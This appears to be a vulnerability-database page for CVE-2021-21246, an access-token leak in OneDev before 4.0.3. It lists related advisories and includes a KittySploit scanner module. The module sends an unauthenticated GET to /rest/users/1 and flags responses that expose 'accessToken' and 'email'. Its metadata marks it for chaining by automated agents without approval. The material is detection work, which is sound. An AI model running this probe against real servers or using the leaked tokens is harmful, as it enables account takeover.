OneDev < 4.0.3 - User Access Token Leak Detection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2021-21246 | 15 Jan 202121:15 | – | attackerkb | |
| CVE-2021-21246 | 16 Jan 202100:51 | – | circl | |
| Theonedev Onedev 信息泄露漏洞 | 15 Jan 202100:00 | – | cnnvd | |
| Theonedev Onedev Information Disclosure Vulnerability | 25 Jan 202100:00 | – | cnvd | |
| CVE-2021-21246 | 15 Jan 202120:10 | – | cve | |
| CVE-2021-21246 Pre-Auth Access token leak | 15 Jan 202120:10 | – | cvelist | |
| EUVD-2021-8629 | 3 Oct 202520:07 | – | euvd | |
| CVE-2021-21246 | 15 Jan 202120:10 | – | mend | |
| OneDev < 4.0.3 - User Access Token Leak | 15 Oct 202602:05 | – | nuclei | |
| CVE-2021-21246 | 15 Jan 202121:15 | – | nvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OneDev before version 4."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'OneDev < 4.0.3 - User Access Token Leak Detection',
'description': 'OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'onedev', 'auth-bypass', 'token-leak'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gx',
'https://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089',
'https://nvd.nist.gov/vuln/detail/CVE-2021-21246',
'https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/',
],
'cve': 'CVE-2021-21246',
}
def run(self):
path = '/rest/users/1'
r = self.http_request(method='GET', path=path, allow_redirects=False, headers={'Content-Type': 'application/json'})
if not r or r.status_code != 200:
return False
body = r.text or ""
content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
body_all = ('"accessToken"', '"email"',)
ctype_any = ('application/json',)
if (all(m in body for m in body_all)) and (any(m in content_type for m in ctype_any)):
self.set_info(
severity='high',
reason='OneDev < 4.0.3 - User Access Token Leak detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 3.17.5 - 8.6
EPSS0.49051